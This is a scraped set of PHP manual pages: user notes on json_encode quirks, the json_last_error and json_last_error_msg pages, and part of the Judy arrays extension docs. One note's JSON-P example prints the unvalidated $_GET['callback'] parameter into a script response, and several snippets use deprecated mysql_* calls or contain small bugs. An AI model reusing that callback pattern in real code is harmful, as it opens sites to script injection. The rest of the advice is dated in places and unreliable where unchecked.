    $newArray[$key] = utf8json($val);"
in the given function.]
nicolas dot baptiste at gmail dot com 18-Aug-2010 05:49
Beware of index arrays :

<?php
echo json_encode(array("test","test","test"));
echo json_encode(array(0=>"test",3=>"test",7=>"test"));
?>

Will give :

["test","test","test"]
{"0":"test","3":"test","7":"test"}

arrays are returned only if you don't define index.
gansbrest 06-Aug-2010 09:42
If you have problems with quotes when encoding numeric data retrieved from the database, you can just cast that value to integer and there will be no quotes:

<?php
$testArr['key'] = '1';
print json_encode($testArr);
?>

===> {"key":"1"}

<?php
$testArr['key'] = (int)'1';
print json_encode($testArr);
?>

===> {"key":1}

Don't forget that you have to deal with numbers, otherwise your string will be converted to 0.
Arne Bech 20-Jul-2010 09:00
To battle the quoting of numbers when encoding data retrieved from mysql you could do a simple preg_replace() to remove the quotes on numbers.

This has worked for me:
<?php
$json = json_encode($dataFromMysql);
$json = preg_replace('/"(-?\d+\.?\d*)"/', '$1', $json);
?>
mic dot sumner at gmail dot com 02-Jul-2010 03:39
Hey everyone,

In my application, I had objects that modeled database rows with a few one to many relationships, so one object may have an array of other objects.

I wanted to make the object properties private and use getters and setters, but I needed them to be serializable to json without losing the private variables. (I wanted to promote good coding practices but I needed the properties on the client side.) Because of this, I needed to encode not only the normal private properties but also properties that were arrays of other model objects. I looked for awhile with no luck, so I coded my own:

You can place these methods in each of your classes, or put them in a base class, as I've done. (But note that for this to work, the children classes must declare their properties as protected so the parent class has access)

<?php
abstract class Model {

   public function toArray() {
        return $this->processArray(get_object_vars($this));
    }

    private function processArray($array) {
        foreach($array as $key => $value) {
            if (is_object($value)) {
                $array[$key] = $value->toArray();
            }
            if (is_array($value)) {
                $array[$key] = $this->processArray($value);
            }
        }
        // If the property isn't an object or array, leave it untouched
        return $array;
    }

    public function __toString() {
        return json_encode($this->toArray());
    }

}
?>

Externally, you can just call

<?php
    echo $theObject;
    //or
    echo json_encode($theObject->toArray());
?>

And you'll get the json for that object. Hope this helps someone!
ryan at ryanparman dot com 27-Mar-2010 10:36
I came across the "bug" where running json_encode() over a SimpleXML object was ignoring the CDATA. I ran across http://bugs.php.net/42001 and http://bugs.php.net/41976, and while I agree with the poster that the documentation should clarify gotchas like this, I was able to figure out how to workaround it.

You need to convert the SimpleXML object back into an XML string, then re-import it back into SimpleXML using the LIBXML_NOCDATA option. Once you do this, then you can use json_encode() and still get back the CDATA.

<?php
// Pretend we already have a complex SimpleXML object stored in $xml
$json = json_encode(new SimpleXMLElement($xml->asXML(), LIBXML_NOCDATA));
?>
5hunter5 at mail dot ru 17-Feb-2010 12:03
If I want to encode object whith all it's private and protected properties, then I implements that methods in my object:

<?php
public function encodeJSON()
{
    foreach ($this as $key => $value)
    {
        $json->$key = $value;
    }
    return json_encode($json);
}
public function decodeJSON($json_str)
{
    $json = json_decode($json_str, 1);
    foreach ($json as $key => $value)
    {
        $this->$key = $value;
    }
}
?>

Or you may extend your class from base class, wich is implements that methods.

Found that much more simple than regular expressions with PHP serialized objects...
olivier dot pons dot no dot spam at gmail dot com 22-Jan-2010 04:13
Be careful about one thing:
With a string key Php will consider it's an object:

<?php
echo json_encode(array('id'=>'testtext'));
echo json_encode(array('testtext'));
?>

Will give:

{"id":"testtext"}
["testtext"]

Beware of the string keys!
garydavis at gmail dot com 14-Jan-2010 04:38
If you are planning on using this function to serve a json file, it's important to note that the json generated by this function is not ready to be consumed by javascript until you wrap it in parens and add ";" to the end.

It took me a while to figure this out so I thought I'd save others the aggravation.

<?php
    header('Content-Type: text/javascript; charset=utf8');
    header('Access-Control-Allow-Origin: http://www.example.com/');
    header('Access-Control-Max-Age: 3628800');
    header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');

    $file='rss.xml';
    $arr = simplexml_load_file($file);//this creates an object from the xml file
    $json= '('.json_encode($arr).');'; //must wrap in parens and end with semicolon
    print_r($_GET['callback'].$json); //callback is prepended for json-p
?>
me at daniel dot ie 15-Nov-2009 05:45
I had trouble putting the results of mysql_fetch_assoc() through json_encode: numbers being returned from the query were being quoted in the JSON output (i.e., they were being treated as strings). In order to fix this, it is necessary to explicitly cast each element of the array before json_encode() is called.

The following code uses metadata from a MySQL query result to do this casting.

<?php
    $mysql = mysql_connect('localhost', 'user', 'password');
    mysql_select_db('my_db');

    $query = 'select * from my_table';
    $res = mysql_query($query);

    // iterate over every row
    while ($row = mysql_fetch_assoc($res)) {
        // for every field in the result..
        for ($i=0; $i < mysql_num_fields($res); $i++) {
            $info = mysql_fetch_field($res, $i);
            $type = $info->type;

            // cast for real
            if ($type == 'real')
                $row[$info->name] = doubleval($row[$info->name]);
            // cast for int
            if ($type == 'int')
                $row[$info->name] = intval($row[$info->name]);
        }

        $rows[] = $row;
    }

    // JSON-ify all rows together as one big array
    echo json_encode($rows);

    mysql_close($mysql);
?>
rlz_ar at yahoo dot com 30-Oct-2009 05:35
If you have problems with json_encode() on arrays, you can force json_encode() to encode as object, and then use json_decode() casting the result as array:

<?php

$myarray = Array('isa', 'dalawa', 'tatlo');

unset($myarray[1]);

$json_encoded_array = json_encode ( $myarray, JSON_FORCE_OBJECT );

// do whatever you want with your data
// then you can retrive the data doing:

$myarray = (array) json_decode ( $json_encoded_array );

?>
simoncpu was here 20-Oct-2009 11:18
A note of caution: If you are wondering why json_encode() encodes your PHP array as a JSON object instead of a JSON array, you might want to double check your array keys because json_encode() assumes that you array is an object if your keys are not sequential.

e.g.:

<?php
$myarray = Array('isa', 'dalawa', 'tatlo');
var_dump($myarray);
/* output
array(3) {
  [0]=>
  string(3) "isa"
  [1]=>
  string(6) "dalawa"
  [2]=>
  string(5) "tatlo"
}
*/
?>

As you can see, the keys are sequential; $myarray will be correctly encoded as a JSON array.

<?php
$myarray = Array('isa', 'dalawa', 'tatlo');

unset($myarray[1]);
var_dump($myarray);
/* output
array(2) {
  [0]=>
  string(3) "isa"
  [2]=>
  string(5) "tatlo"
}
*/
?>

Unsetting an element will also remove the keys. json_encode() will now assume that this is an object, and will encode it as such.

SOLUTION: Use array_values() to re-index the array.
http://mike.eire.ca/ 10-Aug-2009 10:54
Note that this function does not always produce legal JSON.

<?php
$json = json_encode('foo');
var_dump($json);
//string(5) ""foo""

$json = json_encode(23);
var_dump($json);
//string(2) "23"
?>

According to the JSON spec, only objects and arrays can be represented; the JSON_FORCE_OBJECT flag available since PHP 5.3 does not change this behaviour. If you're using this to produce JSON that will be exchanged with other systems, adjust your output accordingly.

<?php
$json = preg_replace('/^([^[{].*)$/', '[$1]', $json);
?>

The json_decode function accepts these JSON fragments without complaint.
Istratov Vadim 10-Jun-2009 08:54
Be careful with floating values in some locales (e.g. russian) with comma (",") as decimal point. Code:

<?php
setlocale(LC_ALL, 'ru_RU.utf8');

$arr = array('element' => 12.34);
echo json_encode( $arr );
?>

Output will be:
--------------
{"element":12,34}
--------------

Which is NOT a valid JSON markup. You should convert floating point variable to strings or set locale to something like "LC_NUMERIC, 'en_US.utf8'" before using json_encode.
other at killermonk dot com 20-May-2009 11:55
If you are trying to flatten a multi dimensional array, you can also just use serialize and unserialize. It just depends on what you are trying to do.
Sam Barnum 21-Apr-2009 08:01
Note that if you try to encode an array containing non-utf values, you'll get null values in the resulting JSON string.  You can batch-encode all the elements of an array with the array_map function:
<?php
$encodedArray = array_map(utf8_encode, $rawArray);
?>
atrauzzi at gmail dot com 08-Apr-2009 09:39
Here's an idea for people trying to figure out an alternative to implode() to flatten multi-dimensional arrays.

Use json_encode()!

I needed a way to create a hash from an array:

md5(json_encode($multiDimensionalArray)) does the trick!

Happy caching!
andyrusterholz at g-m-a-i-l dot c-o-m 27-Mar-2009 08:17
For anyone who would like to encode arrays into JSON, but is using PHP 4, and doesn't want to wrangle PECL around, here is a function I wrote in PHP4 to convert nested arrays into JSON.

Note that, because javascript converts JSON data into either nested named objects OR vector arrays, it's quite difficult to represent mixed PHP arrays (arrays with both numerical and associative indexes) well in JSON. This function does something funky if you pass it a mixed array -- see the comments for details.

I don't make a claim that this function is by any means complete (for example, it doesn't handle objects) so if you have any improvements, go for it.

<?php

/**
 * Converts an associative array of arbitrary depth and dimension into JSON representation.
 *
 * NOTE: If you pass in a mixed associative and vector array, it will prefix each numerical
 * key with "key_". For example array("foo", "bar" => "baz") will be translated into
 * {"key_0": "foo", "bar": "baz"} but array("foo", "bar") would be translated into [ "foo", "bar" ].
 *
 * @param $array The array to convert.
 * @return mixed The resulting JSON string, or false if the argument was not an array.
 * @author Andy Rusterholz
 */
function array_to_json( $array ){

    if( !is_array( $array ) ){
        return false;
    }

    $associative = count( array_diff( array_keys($array), array_keys( array_keys( $array )) ));
    if( $associative ){

        $construct = array();
        foreach( $array as $key => $value ){

            // We first copy each key/value pair into a staging array,
            // formatting each key and value properly as we go.

            // Format the key:
            if( is_numeric($key) ){
                $key = "key_$key";
            }
            $key = '"'.addslashes($key).'"';

            // Format the value:
            if( is_array( $value )){
                $value = array_to_json( $value );
            } else if( !is_numeric( $value ) || is_string( $value ) ){
                $value = '"'.addslashes($value).'"';
            }

            // Add to staging array:
            $construct[] = "$key: $value";
        }

        // Then we collapse the staging array into the JSON form:
        $result = "{ " . implode( ", ", $construct ) . " }";

    } else { // If the array is a vector (not associative):

        $construct = array();
        foreach( $array as $value ){

            // Format the value:
            if( is_array( $value )){
                $value = array_to_json( $value );
            } else if( !is_numeric( $value ) || is_string( $value ) ){
                $value = '"'.addslashes($value).'"';
            }

            // Add to staging array:
            $construct[] = $value;
        }

        // Then we collapse the staging array into the JSON form:
        $result = "[ " . implode( ", ", $construct ) . " ]";
    }

    return $result;
}

?>
aangel at spam dot com 08-Feb-2009 02:50
Here is a bit more on creating an iterator to get at those pesky private/protected variables:

<?php
   class Kit implements IteratorAggregate {

    public function __construct($var) {
        if (is_object($var)) {
            // if passed an object, we are cloning
           $this->kitID = $var->kitID;
           $this->kitName = $var->kitName;
           foreach ($var->productArray as $key => $value) {
               $this->productArray[$key] = (array)$value;
           }
        }
    }
   ...
    // Create an iterator because private/protected vars can't
    // be seen by json_encode().
    public function getIterator() {
        $iArray['kitID'] = $this->kitID;
        $iArray['kitName'] = $this->kitName;
        $iArray['productArray'] = (array)$this->productArray;
        return new ArrayIterator($iArray);
    }
}
?>

Calling something like  $t = json_encode($this->getIterator());  will give you almost what you want:
<?php
{"kitID":"Kit_Essentials-Books.txt",
"kitName":"Essential Books",
"productArray":{"0470043601":{"Category":"Food","ASIN":"0470043601"} } }
?>

Notice that the productArray is converted to an object ignoring the cast I put in front, which is not what I wanted. I haven't figured out how to make sure that encodes as an array.

Regardless, bringing that JSON back into an object using json_decode() will give you just a std object, and the only way I've found to get it into the proper object type is to use a constructor that instantiates the object the way it's supposed to be (see __construct($var) above). Like this:
<?php

        $newKit = new Kit(json_decode($t));
?>
Garrett 22-Oct-2008 08:17
A note about json_encode automatically quoting numbers:

It appears that the json_encode function pays attention to the data type of the value. Let me explain what we came across:

We have found that when retrieving data from our database, there are occasions when numbers appear as strings to json_encode which results in double quotes around the values.

This can lead to problems within javascript functions expecting the values to be numeric.

This was discovered when were were retrieving fields from the database which contained serialized arrays. After unserializing them and sending them through the json_encode function the numeric values in the original array were now being treated as strings and showing up with double quotes around them.

The fix: Prior to encoding the array, send it to a function which checks for numeric types and casts accordingly. Encoding from then on worked as expected.
stboisvert at nowantspam dot gmail dot com 14-Oct-2008 09:27
When Using Libraries such as Prototype you may find that once in a while when you return what you believe to be a empty array it will have a different behavior (vis a vis enumerables) than when you give it an associative array. To "fix" this, on your JS you may want to look for extended object properties to verify if it is an empty array or an ocject.

example:

<?php
if (transport.responseJSON['User'].length == undefined){
        var user = $H(transport.responseJSON['User']);
}else{
        var user = transport.responseJSON['User'];
}
?>

Thanks goes out to :
jani@php.net

This is totally expected behaviour. Please read this:
http://www.json.org/

Note: array and assoc-array are different things. Latter being "object"
in json.

http://bugs.php.net/bug.php?id=45162

[RQuadling] See http://bugs.php.net/bug.php?id=47493. Fixed by using json_encode(array(), JSON_FORCE_OBJECT);
spam.goes.in.here AT gmail.com 09-Aug-2008 08:05
For anyone who has run into the problem of private properties not being added, you can simply implement the IteratorAggregate interface with the getIterator() method. Add the properties you want to be included in the output into an array in the getIterator() method and return it.
umbrae at gmail dot com 10-Jan-2008 07:21
Here's a quick function to pretty-print some JSON. Optimizations welcome, as this was a 10-minute dealie without efficiency in mind:

<?php
// Pretty print some JSON
function json_format($json)
{
    $tab = "  ";
    $new_json = "";
    $indent_level = 0;
    $in_string = false;

    $json_obj = json_decode($json);

    if($json_obj === false)
        return false;

    $json = json_encode($json_obj);
    $len = strlen($json);

    for($c = 0; $c < $len; $c++)
    {
        $char = $json[$c];
        switch($char)
        {
            case '{':
            case '[':
                if(!$in_string)
                {
                    $new_json .= $char . "\n" . str_repeat($tab, $indent_level+1);
                    $indent_level++;
                }
                else
                {
                    $new_json .= $char;
                }
                break;
            case '}':
            case ']':
                if(!$in_string)
                {
                    $indent_level--;
                    $new_json .= "\n" . str_repeat($tab, $indent_level) . $char;
                }
                else
                {
                    $new_json .= $char;
                }
                break;
            case ',':
                if(!$in_string)
                {
                    $new_json .= ",\n" . str_repeat($tab, $indent_level);
                }
                else
                {
                    $new_json .= $char;
                }
                break;
            case ':':
                if(!$in_string)
                {
                    $new_json .= ": ";
                }
                else
                {
                    $new_json .= $char;
                }
                break;
            case '"':
                if($c > 0 && $json[$c-1] != '\\')
                {
                    $in_string = !$in_string;
                }
            default:
                $new_json .= $char;
                break;
        }
    }

    return $new_json;
}
?>
jjoss 24-Oct-2007 09:07
Another way to work with Russian characters. This procedure just handles Cyrillic characters without UTF conversion. Thanks to JsHttpRequest developers.

<?php
function php2js($a=false)
{
  if (is_null($a)) return 'null';
  if ($a === false) return 'false';
  if ($a === true) return 'true';
  if (is_scalar($a))
  {
    if (is_float($a))
    {
      // Always use "." for floats.
      $a = str_replace(",", ".", strval($a));
    }

    // All scalars are converted to strings to avoid indeterminism.
    // PHP's "1" and 1 are equal for all PHP operators, but
    // JS's "1" and 1 are not. So if we pass "1" or 1 from the PHP backend,
    // we should get the same result in the JS frontend (string).
    // Character replacements for JSON.
    static $jsonReplaces = array(array("\\", "/", "\n", "\t", "\r", "\b", "\f", '"'),
    array('\\\\', '\\/', '\\n', '\\t', '\\r', '\\b', '\\f', '\"'));
    return '"' . str_replace($jsonReplaces[0], $jsonReplaces[1], $a) . '"';
  }
  $isList = true;
  for ($i = 0, reset($a); $i < count($a); $i++, next($a))
  {
    if (key($a) !== $i)
    {
      $isList = false;
      break;
    }
  }
  $result = array();
  if ($isList)
  {
    foreach ($a as $v) $result[] = php2js($v);
    return '[ ' . join(', ', $result) . ' ]';
  }
  else
  {
    foreach ($a as $k => $v) $result[] = php2js($k).': '.php2js($v);
    return '{ ' . join(', ', $result) . ' }';
  }
}
?>
jfdsmit at gmail dot com 23-Oct-2007 04:31
json_encode also won't handle objects that do not directly expose their internals but through the Iterator interface. These two function will take care of that:

<?php

/**
 * Convert an object into an associative array
 *
 * This function converts an object into an associative array by iterating
 * over its public properties. Because this function uses the foreach
 * construct, Iterators are respected. It also works on arrays of objects.
 *
 * @return array
 */
function object_to_array($var) {
    $result = array();
    $references = array();

    // loop over elements/properties
    foreach ($var as $key => $value) {
        // recursively convert objects
        if (is_object($value) || is_array($value)) {
            // but prevent cycles
            if (!in_array($value, $references)) {
                $result[$key] = object_to_array($value);
                $references[] = $value;
            }
        } else {
            // simple values are untouched
            $result[$key] = $value;
        }
    }
    return $result;
}

/**
 * Convert a value to JSON
 *
 * This function returns a JSON representation of $param. It uses json_encode
 * to accomplish this, but converts objects and arrays containing objects to
 * associative arrays first. This way, objects that do not expose (all) their
 * properties directly but only through an Iterator interface are also encoded
 * correctly.
 */
function json_encode2($param) {
    if (is_object($param) || is_array($param)) {
        $param = object_to_array($param);
    }
    return json_encode($param);
}
dennispopel(at)gmail.com 26-Aug-2007 07:43
Obviously, this function has trouble encoding arrays with empty string keys (''). I have just noticed that (because I was using a function in PHP under PHP4). When I switched to PHP5's json_encode, I noticed that browsers could not correctly parse the encoded data. More investigation maybe needed for a bug report, but this quick note may save somebody several hours.

Also, it manifests on Linux in 5.2.1 (tested on two boxes), on my XP with PHP5.2.3 json_encode() works just great! However, both 5.2.1 and 5.2.3 phpinfo()s show that the json version is 1.2.1 so might be Linux issue
Yi-Ren Chen at NCTU CSIE 02-May-2007 06:55
I write a function "php_json_encode"
for early version of php which support "multibyte" but doesn't support "json_encode".
<?php
  function json_encode_string($in_str)
  {
    mb_internal_encoding("UTF-8");
    $convmap = array(0x80, 0xFFFF, 0, 0xFFFF);
    $str = "";
    for($i=mb_strlen($in_str)-1; $i>=0; $i--)
    {
      $mb_char = mb_substr($in_str, $i, 1);
      if(mb_ereg("&#(\\d+);", mb_encode_numericentity($mb_char, $convmap, "UTF-8"), $match))
      {
        $str = sprintf("\\u%04x", $match[1]) . $str;
      }
      else
      {
        $str = $mb_char . $str;
      }
    }
    return $str;
  }
  function php_json_encode($arr)
  {
    $json_str = "";
    if(is_array($arr))
    {
      $pure_array = true;
      $array_length = count($arr);
      for($i=0;$i<$array_length;$i++)
      {
        if(! isset($arr[$i]))
        {
          $pure_array = false;
          break;
        }
      }
      if($pure_array)
      {
        $json_str ="[";
        $temp = array();
        for($i=0;$i<$array_length;$i++)
        {
          $temp[] = sprintf("%s", php_json_encode($arr[$i]));
        }
        $json_str .= implode(",",$temp);
        $json_str .="]";
      }
      else
      {
        $json_str ="{";
        $temp = array();
        foreach($arr as $key => $value)
        {
          $temp[] = sprintf("\"%s\":%s", $key, php_json_encode($value));
        }
        $json_str .= implode(",",$temp);
        $json_str .="}";
      }
    }
    else
    {
      if(is_string($arr))
      {
        $json_str = "\"". json_encode_string($arr) . "\"";
      }
      else if(is_numeric($arr))
      {
        $json_str = $arr;
      }
      else
      {
        $json_str = "\"". json_encode_string($arr) . "\"";
      }
    }
    return $json_str;
  }
giunta dot gaetano at sea-aeroportimilano dot it 04-Sep-2006 05:11
Take care that json_encode() expects strings to be encoded to be in UTF8 format, while by default PHP strings are ISO-8859-1 encoded.
This means that

json_encode(array('àü'));

will produce a json representation of an empty string, while

json_encode(array(utf8_encode('àü')));

will work.
The same applies to decoding, too, of course...


Returns the error string of the last json_encode() or json_decode() call

  • « json_encode
  • json_last_error »
  • PHP Manual
  • JSON Functions
  • Returns the error string of the last json_encode() or json_decode() call

json_last_error_msg

(PHP 5 >= 5.5.0)

json_last_error_msg — Returns the error string of the last json_encode() or json_decode() call

Description

string json_last_error_msg ( void )

Parameters

This function has no parameters.

Return Values

Returns the error message on success, "No Error" if no error has occurred, or FALSE on failure.

See Also

  • json_last_error() - Returns the last error occurred

User Contributed Notes

Anonymous 15-Oct-2014 05:37
seregynp :
a better way to test JSON
<?php
$json = json_decode('wrong json');

if ($json === null && json_last_error() !== JSON_ERROR_NONE) {
     throw new \LogicException(sprintf("Failed to parse json string '%s', error: '%s'", $json , json_last_error_msg()));
}
?>
seregynp at gmail dot com 13-Apr-2014 10:26
Watch out !

In case no error occurred, 'No error' still returned !

So when upgrading to php 5.5, unexpected behavior can be:

<?php
if ($error = json_last_error_msg()) {
   throw new \LogicException(sprintf("Failed to parse json string '%s', error: '%s'", $this->data, $error));
}

// in php 5.5 exception will be thrown, while as in older version not
?>
Anonymous 17-Sep-2013 07:39
if (!function_exists('json_last_error_msg')) {
    function json_last_error_msg() {
        static $errors = array(
            JSON_ERROR_NONE             => null,
            JSON_ERROR_DEPTH            => 'Maximum stack depth exceeded',
            JSON_ERROR_STATE_MISMATCH   => 'Underflow or the modes mismatch',
            JSON_ERROR_CTRL_CHAR        => 'Unexpected control character found',
            JSON_ERROR_SYNTAX           => 'Syntax error, malformed JSON',
            JSON_ERROR_UTF8             => 'Malformed UTF-8 characters, possibly incorrectly encoded'
        );
        $error = json_last_error();
        return array_key_exists($error, $errors) ? $errors[$error] : "Unknown error ({$error})";
    }
}
Ess 23-Jul-2013 05:19
If function not exists

<?php
if (!function_exists('json_last_error_msg'))
    function json_last_error_msg()
    {
        switch (json_last_error()) {
            default:
                return;
            case JSON_ERROR_DEPTH:
                $error = 'Maximum stack depth exceeded';
            break;
            case JSON_ERROR_STATE_MISMATCH:
                $error = 'Underflow or the modes mismatch';
            break;
            case JSON_ERROR_CTRL_CHAR:
                $error = 'Unexpected control character found';
            break;
            case JSON_ERROR_SYNTAX:
                $error = 'Syntax error, malformed JSON';
            break;
            case JSON_ERROR_UTF8:
                $error = 'Malformed UTF-8 characters, possibly incorrectly encoded';
            break;
        }
        throw new Exception($error);
    }
?>


Returns the last error occurred

  • « json_last_error_msg
  • Judy »
  • PHP Manual
  • JSON Functions
  • Returns the last error occurred

json_last_error

(PHP 5 >= 5.3.0)

json_last_error — Returns the last error occurred

Description

int json_last_error ( void )

Returns the last error (if any) occurred during the last JSON encoding/decoding.

Parameters

This function has no parameters.

Return Values

Returns an integer, the value can be one of the following constants:

JSON error codes
Constant | Meaning | Availability
JSON_ERROR_NONE | No error has occurred |
JSON_ERROR_DEPTH | The maximum stack depth has been exceeded |
JSON_ERROR_STATE_MISMATCH | Invalid or malformed JSON |
JSON_ERROR_CTRL_CHAR | Control character error, possibly incorrectly encoded |
JSON_ERROR_SYNTAX | Syntax error |
JSON_ERROR_UTF8 | Malformed UTF-8 characters, possibly incorrectly encoded | PHP 5.3.3
JSON_ERROR_RECURSION | One or more recursive references in the value to be encoded | PHP 5.5.0
JSON_ERROR_INF_OR_NAN | One or more NAN or INF values in the value to be encoded | PHP 5.5.0
JSON_ERROR_UNSUPPORTED_TYPE | A value of a type that cannot be encoded was given | PHP 5.5.0

Examples

Example #1 json_last_error() example

<?php
// A valid json string
$json[] = '{"Organization": "PHP Documentation Team"}';

// An invalid json string which will cause an syntax
// error, in this case we used ' instead of " for quotation
$json[] = "{'Organization': 'PHP Documentation Team'}";

foreach ($json as $string) {
    echo 'Decoding: ' . $string;
    json_decode($string);

    switch (json_last_error()) {
        case JSON_ERROR_NONE:
            echo ' - No errors';
        break;
        case JSON_ERROR_DEPTH:
            echo ' - Maximum stack depth exceeded';
        break;
        case JSON_ERROR_STATE_MISMATCH:
            echo ' - Underflow or the modes mismatch';
        break;
        case JSON_ERROR_CTRL_CHAR:
            echo ' - Unexpected control character found';
        break;
        case JSON_ERROR_SYNTAX:
            echo ' - Syntax error, malformed JSON';
        break;
        case JSON_ERROR_UTF8:
            echo ' - Malformed UTF-8 characters, possibly incorrectly encoded';
        break;
        default:
            echo ' - Unknown error';
        break;
    }

    echo PHP_EOL;
}
?>

The above example will output:

Decoding: {"Organization": "PHP Documentation Team"} - No errors
Decoding: {'Organization': 'PHP Documentation Team'} - Syntax error, malformed JSON

Example #2 json_last_error() with json_encode()

<?php
// An invalid UTF8 sequence
$text = "\xB1\x31";

$json  = json_encode($text);
$error = json_last_error();

var_dump($json, $error === JSON_ERROR_UTF8);
?>

The above example will output:

string(4) "null"
bool(true)

See Also

  • json_last_error_msg() - Returns the error string of the last json_encode() or json_decode() call
  • json_decode() - Decodes a JSON string
  • json_encode() - Returns the JSON representation of a value

User Contributed Notes

praveenscience at gmail dot com 22-Oct-2014 12:17
I used this simple script, flicked from StackOverflow to escape from the function failing:

<?php
    function utf8ize($d) {
        if (is_array($d)) {
            foreach ($d as $k => $v) {
                $d[$k] = utf8ize($v);
            }
        } else if (is_string ($d)) {
            return utf8_encode($d);
        }
        return $d;
    }
?>

Cheers,
Praveen Kumar!
williamprogphp at yahoo dot com dot br 31-Jan-2014 03:32
This is a quite simple and functional trick to validate JSON's strings.

<?php

    function json_validate($string) {
        if (is_string($string)) {
            @json_decode($string);
            return (json_last_error() === JSON_ERROR_NONE);
        }
        return false;
    }
    echo (json_validate('{"test": "valid JSON"}')  ? "It's a JSON" : "NOT is a JSON"); // prints 'It's a JSON'
    echo (json_validate('{test: valid JSON}')  ? "It's a JSON" : "NOT is a JSON"); // prints 'NOT is a JSON' due to missing quotes
    echo (json_validate(array())  ? "It's a JSON" : "NOT is a JSON"); // prints 'NOT is a JSON' due to a non-string argument
?>

Cheers
jimmetry at gmail dot com 24-Nov-2011 06:16
While this can obviously change between versions, the current error codes are as follows:

0 = JSON_ERROR_NONE
1 = JSON_ERROR_DEPTH
2 = JSON_ERROR_STATE_MISMATCH
3 = JSON_ERROR_CTRL_CHAR
4 = JSON_ERROR_SYNTAX
5 = JSON_ERROR_UTF8

I'm only posting these for people who may be trying to understand why specific JSON files are not being decoded. Please do not hard-code these numbers into an error handler routine.
lior at mytopia dot com 09-Mar-2009 02:17
For those of you who prefer a more object oriented approach (as I do), here is a fairly simple wrapper that handles errors using exceptions:

<?php

class JSON
{
    public static function Encode($obj)
    {
        return json_encode($obj);
    }

    public static function Decode($json, $toAssoc = false)
    {
        $result = json_decode($json, $toAssoc);
        switch(json_last_error())
        {
            case JSON_ERROR_DEPTH:
                $error =  ' - Maximum stack depth exceeded';
                break;
            case JSON_ERROR_CTRL_CHAR:
                $error = ' - Unexpected control character found';
                break;
            case JSON_ERROR_SYNTAX:
                $error = ' - Syntax error, malformed JSON';
                break;
            case JSON_ERROR_NONE:
            default:
                $error = '';
        }
        if (!empty($error))
            throw new Exception('JSON Error: '.$error);

        return $result;
    }
}

?>


Judy Arrays

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Judy — The Judy class
    • Judy::byCount — Locate the Nth index present in the Judy array
    • Judy::__construct — Construct a new Judy object
    • Judy::count — Count the number of elements in the Judy array
    • Judy::__destruct — Destruct a Judy object
    • Judy::first — Search for the first index in the Judy array
    • Judy::firstEmpty — Search for the first absent index in the Judy array
    • Judy::free — Free the entire Judy array
    • Judy::getType — Return the type of the current Judy array
    • Judy::last — Search for the last index in the Judy array
    • Judy::lastEmpty — Search for the last absent index in the Judy array
    • Judy::memoryUsage — Return the memory used by the Judy array
    • Judy::next — Search for the next index in the Judy array
    • Judy::nextEmpty — Search for the next absent index in the Judy array
    • Judy::offsetExists — Whether a offset exists
    • Judy::offsetGet — Offset to retrieve
    • Judy::offsetSet — Offset to set
    • Judy::offsetUnset — Offset to unset
    • Judy::prev — Search for the previous index in the Judy array
    • Judy::prevEmpty — Search for the previous absent index in the Judy array
    • Judy::size — Return the size of the current Judy array
  • Judy Functions
    • judy_type — Return the type of a Judy array
    • judy_version — Return or print the current PHP Judy version

User Contributed Notes

There are no user contributed notes for this page.


Introduction

PHP Judy is a PECL extension for the » Judy C library implementing dynamic sparse arrays.

A Judy array is a complex but very fast associative array data structure for storing and looking up values using integer or string keys. Unlike normal arrays, Judy arrays may be sparse; that is, they may have large ranges of unassigned indices.

A Judy array consumes memory only when populated yet can grow to take advantage of all available memory. Judy's key benefits are: scalability, performance, memory efficiency, and ease of use. Judy arrays are designed to grow without tuning into the peta-element range, scaling near O(log-base-256) -- 1 more RAM access at 256 X population.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

This extension require the » Judy C library.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/judy

The latest PECL/judy Win32 DLL is available here: » php_judy.dll

Installation on Linux Systems

From sources

Download and install » libJudy, then :

     phpize
     ./configure --with-judy[=DIR]
     make
     make test
     make install

Ubuntu/Debian

libJudy can be installed with apt-get :

    apt-get install libjudydebian1 libjudy-dev
Then by installing the Judy extension from PECL or from the sources.

Installation on Windows Systems

Download » libJudy, then extract the sources and open the Visual Studio command prompt and navigate to the source directory. Then execute :

build
This creates "Judy.lib", copy this into the php-sdk library folder and name it "libJudy.lib" Then copy the include file "judy.h" into the php-sdk includes folder.

Next, the PHP Judy extension can be installed from PECL or from the sources by extracting the pecl/judy into your build folder where the build scripts will be able to pick it up, e.g.:

    C:\php\pecl\judy\
If your source of PHP is located in:
    C:\php\src\
The rest of the steps is pretty straight forward, like any other external extension:
    buildconf
    configure --with-judy=shared
    nmake

Installation on Mac OS X

Download and install » libJudy. Then install the Judy extension from PECL or from the sources.

User Contributed Notes

There are no user contributed notes for this page.


The Judy class

(PECL judy >= 0.1.1)

Introduction

The Judy class implements the ArrayAccess interface and the Iterator interface. This class, once instantiated, can be accessed like a PHP array.

A PHP Judy object (or Judy Array) can be one of the following type :

  • Judy::BITSET
  • Judy::INT_TO_INT
  • Judy::INT_TO_MIXED
  • Judy::STRING_TO_INT
  • Judy::STRING_TO_MIXED

Example #1 Judy array example

<?php
    $judy = new Judy(Judy::INT_TO_MIXED);
    $judy[1] = "one";
    $judy[2] = array('a', 'b', 'c');
    $judy[3] = new Judy(Judy::BITSET);
?>

Class synopsis

Judy implements ArrayAccess , Iterator {
/* Constants */
const integer BITSET = 1 ;
const integer INT_TO_INT = 2 ;
const integer INT_TO_MIXED = 3 ;
const integer STRING_TO_INT = 4 ;
const integer STRING_TO_MIXED = 5 ;
/* Methods */
public int byCount ( int $nth_index )
public __construct ( int $judy_type )
public int count ([ int $index_start = 0 [, int $index_end = -1 ]] )
public void __destruct ( void )
public mixed first ([ mixed $index ] )
public int firstEmpty ([ mixed $index = 0 ] )
public int free ( void )
public int getType ( void )
public void last ([ string $index ] )
public int lastEmpty ([ int $index = -1 ] )
public int memoryUsage ( void )
public mixed next ( mixed $index )
public int nextEmpty ( int $index )
public bool offsetExists ( mixed $offset )
public mixed offsetGet ( mixed $offset )
public bool offsetSet ( mixed $offset , mixed $value )
public bool offsetUnset ( mixed $offset )
public mixed prev ( mixed $index )
public int prevEmpty ( mixed $index )
public void size ( void )
}

Predefined Constants

Judy::BITSET

Define the Judy Array as a Bitset with keys as Integer and Values as a Boolean

